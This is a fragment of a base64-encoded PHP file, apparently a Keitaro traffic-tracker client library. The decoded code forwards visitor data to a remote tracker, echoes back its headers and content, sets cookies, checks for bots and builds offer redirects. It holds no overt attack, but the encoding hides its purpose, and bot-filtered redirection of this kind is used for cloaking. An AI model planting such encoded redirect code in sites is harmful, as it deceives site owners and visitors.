XMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQoJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1dCBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9IC